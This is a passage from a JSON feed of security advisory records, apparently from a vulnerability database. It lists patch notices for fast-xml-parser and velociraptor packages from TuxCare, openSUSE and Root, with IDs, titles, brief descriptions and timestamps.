4.0.3-tuxcare.4.","status":"published","published":"2026-10-16T14:39:48Z","modified":"2026-11-10T19:45:15.106359209Z","updated_at":"2026-11-10T20:12:40.351566Z"},{"id":"CLSA-2026-1792454133","title":"TuxCare security update for fast-xml-parser (7 CVEs)","description":"TuxCare rebuilt fast-xml-parser to address 7 CVEs. Fixed in 5.2.5-tuxcare.1.","status":"published","published":"2026-10-19T23:55:33Z","modified":"2026-10-20T01:45:13.504283365Z","updated_at":"2026-11-02T15:43:54.378946Z"},{"id":"openSUSE-SU-2026:11126-1","title":"velociraptor-0.7.0.4.git185.a5708584-2.1 on GA media","description":"These are all security issues fixed in the velociraptor-0.7.0.4.git185.a5708584-2.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-06-25T00:00:00Z","modified":"2026-06-26T08:15:07.590096547Z","updated_at":"2026-11-02T16:58:38.95195Z"},{"id":"ROOT-APP-NPM-CVE-2026-25128","title":"CVE-2026-25128 in @rootio/fast-xml-parser - Patched by Root","description":"Root has patched CVE-2026-25128 in the @rootio/fast-xml-parser package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-06-04T19:42:24Z","modified":"2026-06-05T01:30:41.851413546Z","updated_at":"2026-11-02T15:53:27.649662Z"}]}}